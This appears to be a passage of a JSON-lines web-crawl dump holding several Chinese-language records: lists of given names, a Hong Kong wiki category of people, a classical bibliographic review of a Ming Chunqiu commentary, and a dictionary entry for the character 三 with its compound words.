莫玲凌 莫艷芬 莫媛婷 莫琳凡 莫娅凡 莫凡娅 莫秀媛 莫燕嘉 莫雲妹 莫秀美 莫凡瑩 莫凡穎 莫莉麗 莫春妹 莫嫦娟 莫靈玲 莫莉莎 莫雪倩 莫佩瑩 莫雄琳 莫秀芬 莫佩芬 莫凡芬 莫斐雪 莫日芬 莫茹焱 莫莉凡 莫莉寧 莫莉琳 莫莉曼 莫莉倩 莫莉菲 莫靜婧 莫丘蓉 莫秋蓉 莫佩蓉 莫詠蓉 莫林芳 莫海艷 莫晶瑩 莫秋燕 莫欽燕 莫梓艷 莫嘉悅 莫珈悅 莫周燕 莫洪瑛 莫娟連 莫婧靈 莫闳英 莫闳瑛 莫妤燕 莫翔燕 莫芸燕 莫荭瑛 莫泓瑛 莫怡琳 莫怡林 莫宏瑛 莫夢潔 莫婧玲 莫娟寧 莫靖玲 莫靖婧 莫婧露 莫琴飛 莫麗琴 莫雨琳 莫天琳 莫天玲 莫秀文 莫泓文 莫錦茹 莫淞文 莫淬文 莫淙文 莫淦文 莫欣娜 莫浩冉 莫玲敏 莫穎琳 莫藝琳 莫記瓊 莫君芳 莫童琳 莫琳童 莫蓉基 莫美 莫卓瓊 莫維霞 莫茜怡 莫希怡 莫阿麗 莫炬文 莫傳梅 莫悅彤 莫悅冉 莫顏萍 莫連娟 莫沂琳 莫泳琳 莫期娟 莫夏麗 莫遠麗 莫晗麗 莫金玉 莫少芳 莫悅傑 莫丞琳 莫勇娟 莫燕雲 莫汝婷 莫金穎 莫海麗 莫方芳 莫江艷 莫铄文 莫穗瑩 莫鑫瑤 莫兆花 莫晗玉 莫玲倩 莫景茹 莫衛婷 莫嘉婷 莫宏玲 莫托文 莫大燕 莫詩萍 莫芝萍 莫琛萍 莫琛婷 莫遠芬 莫寶琳 莫伊莉 莫李莉 莫米莉 莫瑩龍 莫美莉 莫钊文 莫妍蘭 莫之婷 莫芝婷 莫瑩隆 莫冬燕 莫立花 莫永英 莫然婷 莫丹玉 莫惠美 莫建芬 莫怡灏 莫星秀 莫怡纓 莫仁芳 莫珀麗 莫娜微 莫藝芬 莫子芬","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/www.3322.online\/quming\/qmmj\/201612\/91951.html","date":"2020-10-30T07:48:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107909746.93\/warc\/CC-MAIN-20201030063319-20201030093319-00433.warc.gz","language":"lzh","language_score":0.9890412688,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.989041268825531}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"熱門頁面 容祖兒 林鄭月娥 陳百祥 杜汶澤 黃之鋒 梁振英 鄧麗欣 鍾樹根 所有項目 (77) # A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 其他 何 何君堯 余 余若薇 劉 劉進圖 吳 吳亮星 吳業坤 吳若希 吳雨霏 周 周嘉儀 周永勤 容 容祖兒 屈 屈穎妍 張 張可頤 張栢芝 張漢賢 張超雄 張震遠 招 招顯聰 施 施永青 曾 曾俊華 曾蔭權 李 李天翔 杜 杜汶澤 林 林偉駿 林夕 林鄭月娥 梁 梁唐青儀 梁振英 梁洛施 梁競徽 梁齊昕 毛 毛孟靜 洪 洪卓立 涂 涂謹申 狄 狄易達 王 王嘉偉 王晶 王維基 田 田北俊 田北辰 田蕊妮 盧 盧寵茂 石 石永泰 章 章子怡 羅 羅慧娟 羅范椒芬 范 范國威 范徐麗泰 葉 葉劉淑儀 葉蘊儀 蔣 蔣麗芸 蘇 蘇錦樑 謝 謝天華 鄒 鄒旻芳 鄧 鄧健泓 鄧麗欣 鄧龍威 鄭 鄭家富 鄭耀棠 鍾 鍾樹根 陳 陳偉業 陳克勤 陳志全 陳恒鑌 陳百祥 陳茂波 馮 馮檢基 馮煒光 高 高永文 高達斌 黃 黃之鋒 黃家強 黃成智 黃泆潼 黃碧雲 黎 黎棟國 黎耀祥 黎芷珊 取自 \"https:\/\/evchk.wikia.org\/zh\/wiki\/分類:香港國籍?oldid=601806\" 分類: 國籍 香港 除非另有註明,否則社區內容均使用CC-BY-SA授權條款。","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/evchk.wikia.org\/zh\/wiki\/%E5%88%86%E9%A1%9E:%E9%A6%99%E6%B8%AF%E5%9C%8B%E7%B1%8D","date":"2020-11-26T14:31:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141188800.15\/warc\/CC-MAIN-20201126142720-20201126172720-00713.warc.gz","language":"lzh","language_score":0.4873892665,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4873892664909363, \"cmn_Hani_score\": 0.4738578498363495, \"yue_Hani_score\": 0.02606768161058426}","num_words":159,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.32,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.691,"perplexity_score":500.0,"cluster_detection":1} +{"text":"宋玮男 宋俊枘 宋泽钧 宋康文 宋相影 宋子锐 宋照嘉 宋林达 宋泽进 宋天恒 宋海锋 宋静洲 宋俊瑞 宋浩逸 宋睿洋 宋东阳 宋孟翰 宋刚永 宋庆晏 宋健辰 宋以骏 宋浩研 宋林逸 宋长安 宋长皓 宋朋瑾 宋森宇 宋奇永 宋力嘉 宋睿宝 宋静风 宋子天 宋奕赫 宋键萍 宋振铭 宋思蔚 宋国华 宋成宇 宋子哲 宋兆嘉 宋浩一 宋波标 宋金延 宋思琪 宋浩聪 宋忠旭 宋永永 宋明韬 宋威亮 宋学振 宋启霖 宋明敬 宋思行 宋相瑞 宋朋旭 宋云平 宋卓烆 宋金良 宋兴立 宋来杰 宋浩鸣 宋知昕 宋海铖 宋清钧 宋政骏 宋子文 宋海睿 宋泽锋 宋瑞志 宋宣儒 宋奇奇 宋有洋 宋俊迪 宋以魁 宋昊泽 宋修文 宋励俊 宋来家 宋瑾瑾 宋来垚 宋康义 宋俊翔 宋纬楠 宋建泽 宋泽尧 宋和明 宋泽州 宋秉龙 宋学明 宋信达 宋子良 宋瑾铮 宋海铭 宋浩毅 宋林宏 宋真学 宋涛旭 宋天瑞 宋赵鑫 宋辰宇\n版权声明\n本文仅代表作者观点,不代表本站立场。\n本文系作者授权发表,未经许可,不得转载。","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/www.sjtuceo.org\/post\/1336.html","date":"2021-02-26T03:54:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178356140.5\/warc\/CC-MAIN-20210226030728-20210226060728-00017.warc.gz","language":"lzh","language_score":0.9427804351,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9427804350852966, \"nan_Hani_score\": 0.036888930946588516, \"cmn_Hani_score\": 0.011796156875789165}","num_words":103,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.955,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n魏安 魏昂 魏报 魏豹 魏暴 魏爆 魏碧 魏彬 魏斌 魏兵 魏波 魏玻 魏菠 魏博 魏搏 魏礴 魏擘 魏参 魏灿 魏畅 魏超 魏澈 魏琛 魏臣 魏陈 魏晨 魏谌 魏闯 魏榇 魏柽 魏成 魏城 魏程 魏池 魏楚 魏川 魏慈 魏聪 魏翠 魏丹 魏单 魏焘 魏丢 魏东 魏冬 魏栋 魏尔 魏方 魏飞 魏妃 魏菲 魏风 魏枫 魏峰 魏锋 魏福 魏辅 魏富 魏刚 魏钢 魏高 魏格 魏梏 魏国 魏海 魏海 魏海 魏海 魏涵 魏焓 魏汉 魏菡 魏颢 魏禾 魏河 魏恒 魏珩 魏衡 魏宏 魏鸿 魏华 魏骅 魏槐 魏辉 魏慧 魏吉 魏辑 魏佳 魏家 魏嘉 魏镓 魏坚 魏间 魏监 魏俭 魏建 魏健 魏江 魏姣 魏娇 魏杰 魏婕 魏金 魏矜 魏锦 魏廑 魏槿 魏瑾 魏晋 魏晶 魏敬 魏靓 魏靖 魏静 魏菊 魏珏 魏军 魏君 魏钧 魏俊 魏凯 魏侃 魏珂 魏可 魏孔 魏旷 魏馈 魏坤 魏阔 魏来 魏徕 魏涞 魏莱 魏铼 魏兰 魏岚 魏蓝 魏谰 魏澜 魏乐 魏磊 魏黎 魏里 魏力 魏立 魏利 魏励 魏俐 魏栎 魏亮 魏林 魏麟 魏灵 魏凌 魏菱 魏泸 魏辂 魏禄 魏璐 魏栾 魏銮 魏萌 魏猛 魏孟 魏宓 魏冕 魏民 魏泯 魏敏 魏明 魏鸣 魏铭 魏漠 魏南 魏楠 魏妮 魏霓 魏宁 魏偶 魏攀 魏彭 魏鹏 魏平 魏枰 魏齐 魏骐 魏琦 魏旗 魏谦 魏茜 魏强 魏乔 魏桥 魏巧 魏秦 魏勤 魏嗪 魏溱 魏青 魏清 魏晴 魏庆 魏全 魏权 魏泉 魏铨 魏群 魏然 魏让 魏荣 魏容 魏嵘 魏榕 魏瑞 魏睿 魏润 魏三 魏森 魏沙 魏珊 魏裳 魏申 魏盛 魏帅 魏爽 魏铄 魏硕 魏思 魏松 魏它 魏覃 魏涛 魏滔 魏韬 魏桃 魏陶 魏淘 魏腾 魏天 魏畋 魏亭 魏拓 魏崴 魏婉 魏菀 魏万 魏望 魏威 魏偎 魏葳 魏微 魏巍 魏韦 魏圩 魏帏 魏沩 魏涠 魏帷 魏惟 魏维 魏潍 魏伟 魏纬 魏委 魏炜 魏玮 魏隗 魏韪 魏卫 魏尉 魏谓 魏蔚 魏慰 魏闻 魏稳 魏武 魏喜 魏侠 魏贤 魏显 魏翔 魏享 魏逍 魏潇 魏孝 魏笑 魏心 魏忻 魏辛 魏昕 魏欣 魏莘 魏新 魏歆 魏馨 魏鑫 魏信 魏衅 魏兴 魏星 魏暄 魏延 魏严 魏岩 魏炎 魏琰 魏焱 魏扬 魏阳 魏徉 魏业 魏晔 魏烨 魏一 魏伊 魏诒 魏颐 魏乙 魏义 魏亿 魏艺 魏奕 魏翌 魏逸 魏毅 魏懿 魏鹰 魏滢 魏影 魏勇 魏瑜 魏宇 魏羽 魏语 魏昱 魏钰 魏煜 魏誉 魏元 魏园 魏源 魏月 魏钺 魏越 魏云 魏芸 魏昀 魏泽 魏增 魏张 魏彰 魏肇 魏哲 魏珍 魏真 魏祯 魏震 魏峥 魏铮 魏政 魏执 魏直 魏芷 魏志 魏致 魏智 魏置 魏钟 魏周 魏柱 魏孜 魏梓 魏娥 魏芳 魏芬 魏红 魏洁 魏婧 魏娟 魏莉 魏丽 魏琳 魏玲 魏梅 魏美 魏娜 魏妞 魏裴 魏萍 魏倩 魏琴 魏琼 魏冉 魏蓉 魏茹 魏婷 魏文 魏霞 魏秀 魏雪 魏娅 魏艳 魏燕 魏瑶 魏怡 魏瑛 魏莹 魏颖 魏玉 魏媛 魏悦","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-y1-30-2.html","date":"2021-09-21T11:58:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00708.warc.gz","language":"lzh","language_score":0.9998934269,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9998934268951416}","num_words":413,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.328,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"明陸粲撰。前有自序。謂胡氏說經。或失於過求。詞不厭煩。而聖人之意愈晦。故著此以辨論之。大旨主於信經而不信例。其言曰。不以正大之情觀春秋。而曲生意義。將焉所不至矣。又曰。昔之君子有言。春秋無達例。如以例言。則有時而窮。惟其有時而窮。故求其說而不得。從而爲之辭。又曰。春秋襃善貶惡。不易之法。今用此說以誅人。又忽用此說以賞人。使後世求之而莫識其意。是直舞文吏所爲。而謂聖人爲之乎。其抉摘說經之弊。皆洞中癥結。其例皆先列胡傳於前。而以己說糾正於後。如以春秋始於隱公。獨取歐陽氏之說。以爲遠而難明者不修。而不取胡氏罪平王之說。於紀履緰來逆女。以爲爲齊侯滅紀葬伯姬書。而不取胡氏逆女必親使大夫非正之說。於遂以夫人婦姜至自齊。以爲聲姜敬嬴穆姜皆稱婦。以文宣成皆有母。稱婦以別於君母。而不取胡氏貶稱婦以見惡之說。於齊人來歸鄆讙龜陰田。以爲魯及齊平而歸田。不必以夾谷之會。悉歸功於孔子。三傳家語及史記。皆未足據。而不取胡氏所稱攝相卻齊兵之說。如此者凡六十餘條。大抵明白正大。足以破繁文曲說之弊。自元延祐二年。立胡傳於學官。明永樂纂修大全。沿而不改。世儒遂相沿墨守。莫敢異同。惟粲及袁仁。始顯攻其失。其後若俞汝言焦袁熹張自超等。踵以論辨。乃推闡無餘。雖卷帙不多。其有功於春秋。固不尠也。朱彝尊經義考作四卷。注云未見。此本祇上下二卷。實無所闕佚。殆彝尊考之未審歟。","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0056602.html","date":"2021-12-07T15:20:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363400.19\/warc\/CC-MAIN-20211207140255-20211207170255-00373.warc.gz","language":"lzh","language_score":0.4417439997,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.44174399971961975, \"cmn_Hani_score\": 0.32481226325035095, \"jpn_Jpan_score\": 0.05021194741129875, \"nan_Hani_score\": 0.03196043148636818, \"yue_Hani_score\": 0.028288377448916435, \"wuu_Hani_score\": 0.023211736232042313, \"zxx_Latn_score\": 0.017799321562051773, \"und_Xsux_score\": 0.010321547277271748}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.442,"perplexity_score":500.0,"cluster_detection":1} +{"text":"三\n来自中文百科专业版\n三 (弎) sān\n- 数目字。二加一的和(在钞票和单据上常用大写\"叁\";对应于阿拉伯数字\"3\")。<注> 汉语数目字大写对照:一(壹)、二(贰)、三(叁)、四(肆)、五(伍)、六(陆)、七(柒)、八(捌)、九(玖)、十(拾);百(佰)、千(仟)、万、亿。\n- 表示多次或多数:再三丨三番五次丨举一反三。\n- 指君、父、师:三尊(三种最受尊敬的人,即君、父、师)。\n- 指天、地、人:三一(传说中的天一、地一、太一三神)丨三才(指天、地、人)丨三元(指天、地、人)丨三气(指天、地、人之气)。\n- 哲学用语。中国古代思想家用以称天地气合而生万物的和气:三一(道家语,指由精、神、气三者混而为一之道)丨三花(道教指人的精、气、神)。\n- 姓。\n康熙字典 释义\n- 集别:子集上\n- 部首:一部\n- 释义:\n- 〔古文〕弎《唐韻》《集韻》《韻會》蘇甘切《正韻》蘇監切,𠀤颯平聲。《說文》三,天地人之道也。謂以陽之一合隂之二,次第重之,其數三也。《老子·道德經》一生二,二生三,三生萬物。《史記·律書》數始於一,終於十,成於三。\n- 又《周禮·冬官考工記》凡兵無過三其身。\n- 又《左傳·昭七年》士文伯曰:政不可不愼,務三而已。一擇人,二因民,三從時。\n- 又《晉語》民生於三,事之如一。\n- 又《周語》人三爲衆,女三爲粲,獸三爲羣。\n- 又姓。明三成志。\n- 又漢複姓。屈原之後有三閭氏,三飯尞之後有三飯氏,三州孝子之後有三州氏。\n- 又去聲。《韻會》蘇暫切。《論語》三思而後行。\n- 又本作參。《博雅》參,三也。《周禮·冬官考工記》參分其股圍。《前漢·刑法志》秦造參夷之誅。𠀤與三同。\n- 又《韻補》叶疏簪切,音森。《詩·召南》摽有梅,其實三兮。下叶今。叁。\n说文解字 释义\n- 卷别:卷一\n- 部首:三部\n- 释义:\n- 天地人之道也。从三數。凡三之屬皆从三。弎,古文三从弋。穌甘切 文一 重一\n- 说文解字注\n- (三) 數名。天地人之道也。陳煥曰。數者、易數也。三兼陰陽之數言。一下曰道立於一。二下曰地之數。王下曰三者、天地人也。老子曰。一生二。二生三。三生萬物。此釋三之義。下釋三之形。故以於文二字別言之。於文一耦二爲三。成數也。此依韵所引。韵多據鍇本。今鍇本又非舊矣。耦、各本作偶。今正。二下曰从一耦一。以一儷一也。此曰一耦二爲三。以一儷二也。今又皆脫一字。三畫而三才之道在焉。故謂之成數。又字下曰。手之列多、略不過三。凡三之屬皆从三。穌甘切。古音在七部。\n- (弎) 古文三。\n词语\n- 三八 三八妇女节 三八节 三八枪 三八式 三八线 三八制 三八作风 三巴 三把刀 三白 三白草 三白脆 三白法 三白酒 三白鸟 三白食 三百 三百六十行 三百六十节 三百六十日 三百篇 三百钱 三百青铜钱 三百瓮齑 三百瓮虀 三百瓮齏 三百五篇 三败之辱 三拜 三拜九叩 三班 三班倒 三班奉职 三班借职 三班六房 三班县丞 三般儿 三般两样 三板 三版 三邦 三梆 三榜定案 三棒 三棒鼓 三包 三胞胎 三宝 三宝殿 三保太监 三豹 三杯和万事 三杯和万事,一醉解千愁 三杯两盏 三杯通大道 三北 三北防护林 三倍体 三辈 三本 三笔六诗 三币 三避 三边 三边形 三鞭酒 三变 三表 三表五饵 三别 三兵 三病 三病四痛 三波六折 三帛 三亳 三晡 三不管 三不归 三不惑 三不开 三不留 三不拗六 三不欺 三不去 三不入 三不时 三不食 三不祥 三不孝 三不朽 三不宜 三不知 三不主义 三不足畏 三步并做二步 三步见方 三步两脚 三部伎 三部曲\n- 三擦 三才 三才箭 三材 三采 三蔡 三仓 三苍 三藏 三曹 三曹对案 三策 三岑 三层大,二层小 三叉戟 三叉口 三叉路 三茶六饭 三茶六礼 三查三整 三岔口 三岔路 三岔路口 三差两错 三差五错 三禅 三长 三长两短 三长善月 三长四短 三长月 三长斋月 三常 三场 三唱 三朝 三朝五日 三朝元老 三车 三车客 三臣 三辰 三辰酒 三陈 三成 三池 三尺 三尺布 三尺法 三尺锋 三尺喙 三尺剑 三尺焦桐 三尺枯桐 三尺令 三尺律 三尺门里 三尺男 三尺青锋 三尺青蛇 三尺秋霜 三尺水 三尺桐 三尺铜 三尺童儿 三尺童蒙 三尺童子 三尺僮 三尺土 三尺雪 三尺玉 三尺之孤 三尺之木 三尺轴 三虫 三刍 三楚 三处合 三黜 三川 三传 三船敏郎(1920- ) 三垂 三垂线定理 三锤两棒 三春 三春晖 三春柳 三辞 三次 三刺 三从 三从四德 三从兄弟 三崔 三脆面 三寸 三寸不烂之舌 三寸弓 三寸管 三寸黄甘 三寸鸡毛 三寸金莲 三寸鸟,七寸嘴 三寸鸟七寸嘴 三寸气 三寸弱管 三寸弱翰 三寸舌 三寸咽 三寸银钩 三寸之舌 三寸之辖\n- 三达 三达德 三达尊 三答不回头,四答和身转 三打不回头,四打连身转 三打祝家庄 三大 三大差别 三大殿 三大发明 三大法宝 三大改造 三大户 三大纪律 三大纪律八项注意 三大节 三大礼 三大奇书 三大任务 三大士 三大书 三大宪 三大洋 三大营 三大运动 三大战役 三大政策 三大作风 三代 三代人物 三代执金 三丹田 三单 三党 三刀 三刀梦 三岛 三岛十洲 三倒 三倒班 三到 三道 三道头 三德 三登 三等 三等车厢 三等分角问题 三等九般 三等九格 三啇 三谛 三典 三点 三点会 三点检 三点水 三殿 三迭 三迭阳关 三叠阳关 三顶拐 三鼎 三鼎甲 三定 三冬 三冬二夏 三洞 三都 三都赋 三斗艾 三斗尘 三斗葱 三斗醋 三毒 三独 三独坐 三堵墙 三度 三蠹 三端 三段 三段碑 三段论 三段论式 三对六面 三对面先生 三多\n- 三乏 三法 三法司 三番 三番两次 三番四复 三番四覆 三番五次 三番子 三幡 三藩 三藩之乱 三翻四复 三翻四覆 三反 三反四覆 三反五反运动 三犯 三饭 三方 三方五氏 三房 三废 三分 三分鼎立 三分鼎足 三分发 三分国 三分似人,七分似鬼 三分天下有其二 三分像人,七分似鬼 三分像人,七分像鬼 三分钟热度 三坟 三坟五典 三风 三风十愆 三风太守 三风五气 三峰 三凤 三夫成市虎 三夫人 三夫之对 三夫之言 三伏 三福 三甫 三府 三釜 三釜养 三辅 三鬴 三父八母 三妇 三妇艳 三复 三复白圭 三复斯言 三副 三赋 三覆\n- 三陔 三垓 三改兔 三竿 三竿日 三笴 三干 三纲 三纲五常 三高 三告官 三告投杼 三革 三阁 三个臭皮匠,合成一个诸葛亮 三个臭皮匠,赛过诸葛亮 三个代表 三个火枪手 三个面向 三个世界 三庚 三更 三更半夜 三更枣 三工官 三公 三公九卿 三公山碑 三公子 三宫 三宫六院 三狗 三垢 三估 三孤 三姑 三姑六婆 三古 三鼓 三鼓气竭 三嘏 三顾 三顾草庐 三顾茅庐 三瓜两枣 三关 三关语 三观 三官 三官钱 三官手书 三官堂 三馆 三冠 三光 三光政策 三归 三圭 三皈 三珪 三癸亭 三贵 三跪九叩 三国 三国干涉还辽 三国连太郎(1923- ) 三国时代 三国同盟 三国协约 三国演义 三国志 三国志平话 三虢 三过 三过笔 三过家门而不入 三过其门而不入\n- 三海 三害 三韩 三韩纸 三澣 三行 三豪 三好 三好二怯 三好两歹 三好两歉 三号 三合 三合板 三合房 三合会 三合土 三何 三和 三和土 三河 三河大捷 三翮六翼 三恨 三衡 三红秀才 三洪 三侯 三侯之章 三后 三候 三胡 三壶 三虎 三互法 三户 三户亡秦 三户謡 三护 三花 三花聚顶 三花脸 三花马 三花树 三淮南 三槐 三槐九棘 三槐堂 三槐之听 三环五扣 三桓 三浣 三患 三荒五月 三皇 三皇五帝 三黄 三簧锁 三麾 三徽 三回九转 三回五次 三回五解 三会 三秽 三惠 三荤五厌 三魂 三魂出窍 三魂七魄 三火 三惑\n- 三击掌 三饥两饱 三级会议 三级跳远 三极 三极管 三疾 三棘六异 三脊茅 三戟 三季 三季稻 三祭 三加 三家 三家村 三家村札记 三家店 三家分晋 三家诗 三家薯 三家巷 三甲 三驾 三尖两刃刀 三奸 三监 三缄 三缄其口 三检 三建 三剑 三剑客 三谏 三谏之义 三鉴 三箭定天山 三江 三江并流 三江口 三江平原 三江七泽 三将军 三姜 三交两句言 三郊 三焦 三蕉叶 三角 三角板 三角点 三角方程 三角关系 三角函数 三角恒等式 三角髻 三角恋爱 三角猫 三角贸易 三角兽 三角铁 三角童 三角形 三角学 三角眼 三角债 三角洲 三脚架 三脚两步 三脚猫 三脚虾蟆 三觉侍郎 三教 三教布衣 三教九流 三教图 三教一体 三阶 三接 三街两市 三街六市 三街六巷 三节 三节棍 三节两寿 三节人 三节人从 三杰 三结合 三戒 三界 三金 三晋 三京 三经 三荆 三荆同株 三旌 三惊 三精 三景 三径 三径之资 三凈 三镜 三九 三九天 三九相公 三九之位 三韭 三酒 三就 三居 三鞠躬 三举 三句不离本行 三句话不离本行 三句甜两句苦 三惧 三聚 三绝韦编 三絶 三爵 三爵之罚 三军 三军暴骨 三军可夺气,将军可夺心 三军可夺帅,匹夫不可夺志 三军易得,一将难求 三君 三俊\n- 三腊 三来一补 三赖草 三襕贴里 三郎 三牢 三老 三老四少 三老四严 三老五更 三乐 三勒浆 三羸 三类 三累 三棱镜 三犁 三礼 三李 三里湾 三里雾 三哩岛核电站事故 三立 三吏 三吏三别 三戾 三笠辞 三连串票 三连冠 三联串票 三联单 三联书店 三薕 三良 三良臣 三梁 三两 三料匠 三列宿 三鬣松 三邻 三邻四舍 三灵 三令节 三令五申 三刘 三流 三柳 三绺梳头,两截穿衣 三六 三六九 三六九比势 三六九等 三龙 三龙祠 三陆 三鹿郡公 三鹿为奔 三箓 三露 三峦 三栾 三脔 三伦 三轮 三轮车 三论 三论宗 三罗 三洛 三闾 三闾大夫 三闾小玉 三率 三略\n- 三马 三马同槽 三麦 三毛 三毛七孔 三毛学生意 三茅 三茅君 三茅钟 三泖 三媒六证 三昧 三昧真火 三门 三门干部 三门四户 三门峡 三门峡市 三门峡水利枢纽 三猛 三梦 三密 三眠 三面 三面红旗 三面角 三面罗 三面人 三面手 三面网 三苗 三藐 三藐三菩提 三妙音 三庙 三民主义 三名三高 三明 三明市 三明治 三命 三命而俯 三缪 三谟 三摩 三摩钵提 三摩地 三墨 三母 三亩宅 三木 三木楼訾 三沐 三沐三熏 三沐三薰 三牧\n- 三男两女 三男四女 三男子 三闹 三淖 三内 三能 三臡 三臡八菹 三臡八葅 三逆 三年艾 三年碧 三年不蜚 三年不窥园 三年不目月 三年化碧 三年丧 三年五载 三年早知道 三年之艾 三年之畜 三娘子 三酿五齐 三鸟 三枿 三孽 三蘖 三佞 三牛为麄 三农 三弄\n- 三七 三七分 三七分开 三七开 三七斋 三妻四妾 三期贤佞 三齐 三奇 三祇 三起 三气 三器 三千 三千八万 三千大千 三千大千世界 三千弟子 三千牍 三千界 三千九万 三千客 三千六百钓 三千世界 三千水 三千徒 三千威仪 三千营 三千珠履 三迁 三迁之教 三愆 三钱之府 三樵 三郄 三箧 三亲 三亲六故 三亲六眷 三亲四眷 三秦 三勤 三寝 三青蔓 三青鸟 三青团 三青子 三卿 三清 三清殿 三清境 三清客 三清四白 三请诸葛亮 三穷 三睘 三丘 三秋 三求四告 三球仪 三驱 三衢 三曲 三去 三权 三权分立 三泉 三拳不敌四手 三拳敌不得四手 三拳二脚 三拳两脚 三铨 三阙\n- 三染 三壤 三让 三繞鹊 三热爱 三人成虎 三人成市虎 三人成众 三人行,必有我师 三人行必有我师 三人六样话 三人为众 三人误大事,六耳不通谋 三人一龙 三人一条心,黄土变成金 三人月 三壬 三仁 三日 三日不弹,手生荆棘 三日成魄 三日打鱼,两日晒网 三日耳聋 三日两头 三日聋 三日仆射 三日曲水 三日入厨 三日三夜说不了 三日香 三日新妇 三冗 三儒\n- 三洒 三三 三三节 三三径 三三两两 三三四四 三三五五 三三制 三三制政权 三桑 三色 三色堇 三杀 三杀三宥 三山 三山二水 三山股 三山骨 三山客 三山五岳 三善 三善道 三嬗 三鳝 三殇 三商 三觞 三上 三上五落 三梢末尾 三少 三蛇羹 三蛇九鼠 三蛇七鼠 三舍 三舍法 三舍人诗 三舍生 三社 三赦 三申 三身 三身殿 三神 三神山 三神洲 三生 三生杜牧 三生石 三生石上 三生有幸 三生愿 三声 三牲 三牲五鼎 三甥 三省 三省吾身 三圣 三乘 三尸 三尸暴跳 三尸暴跳,七窍生烟 三尸乱爆,七窍生烟 三尸神 三尸神暴跳,七窍内生烟 三尸五鬼 三失 三师 三师七僧 三师七证 三十 三十而立 三十二名臣 三十二天 三十二相 三十哥 三十六 三十六陂 三十六策 三十六策,走是上计 三十六策,走为上策 三十六策,走为上计 三十六洞天 三十六峰 三十六宫 三十六国 三十六行 三十六行,行行出状元 三十六计 三十六计,走为上计 三十六界 三十六郡 三十六鳞 三十六书 三十六体 三十六天 三十六天罡 三十六物 三十六英雄 三十六雨 三十六玉皇 三十六苑 三十六着,走为上着 三十六字母 三十年河东,三十年河西 三十年老娘倒绷孩儿 三十三天 三十晩上 三十有室 三十子 三时 三时殿 三食 三史 三矢 三豕 三豕渡河 三豕金根 三豕涉河 三始 三士 三世 三世佛 三世同财 三世同爨 三世一爨 三世执戟 三仕 三仕三已 三市 三式 三势 三事 三视图 三适 三室 三首国 三首六臂 三寿 三寿客 三兽渡 三兽渡河 三书六礼 三叔 三属 三署 三蜀 三术 三庶 三数 三帅 三霜 三水部 三说法 三朔 三司 三司使 三思 三思而行 三思而后行 三思台 三死 三巳 三四 三四五 三祀 三松倒 三颂 三苏 三肃 三素 三素望 三素云 三酸二碱 三隧 三损 三梭布 三索\n- 三台 三台八座 三台五马 三太 三潭印月 三袒 三叹 三汤两割 三汤五割 三唐 三堂 三体 三天 三天打鱼,两天晒网 三天两头 三天没大小 三天使 三天竺 三田 三田分荆 三条 三条椽下 三条九陌 三条路 三条烛 三调 三亭 三庭 三停 三停刀 三挺 三通 三同 三同一片 三统 三统历 三头 三头八臂 三头不辨两 三头对案 三头二面 三头两面 三头两日 三头两绪 三头六臂 三头六面 三头六证 三头政治 三突出 三途 三涂 三吐三握 三兔穴 三推 三推六问\n- 三瓦两舍 三瓦两巷 三瓦四舍 三湾改编 三万六千场 三万六千日 三亡 三王 三王城 三王墓 三忘 三望 三望车 三危 三危山 三微 三违 三围 三维动画 三维空间 三纬 三卫 三位一体 三味线 三畏 三魏 三窝两块 三握发 三乌 三无 三无坐处 三吾 三吴 三五 三五蟾光 三五成群 三五传柑 三五门 三五七言诗 三五夕 三五夜 三五月 三五之隆 三武 三舞 三务 三物\n- 三西 三希堂 三希堂法帖 三牺 三锡 三袭 三徙成都 三徙成国 三徙教 三细 三侠五义 三峡 三下两下 三下五除二 三吓头 三夏 三仙 三仙丹 三鲜 三贤 三贤十圣 三弦 三线 三线八角 三献 三献官 三献玉 三乡诗 三相 三相弹 三相电流 三相三线制 三相四线制 三相张家 三香 三湘 三襄夷 三象 三枭 三消 三萧碑 三霄 三小凤凰 三小戏 三小子 三笑 三笑图 三邪 三写成乌 三写易字 三谢 三心 三心二意 三心两意 三衅 三衅三沐 三衅三浴 三星 三星高照 三星户 三星约 三星在户 三星在天 三刑 三形 三性 三凶 三雄 三休 三休台 三休亭 三宿 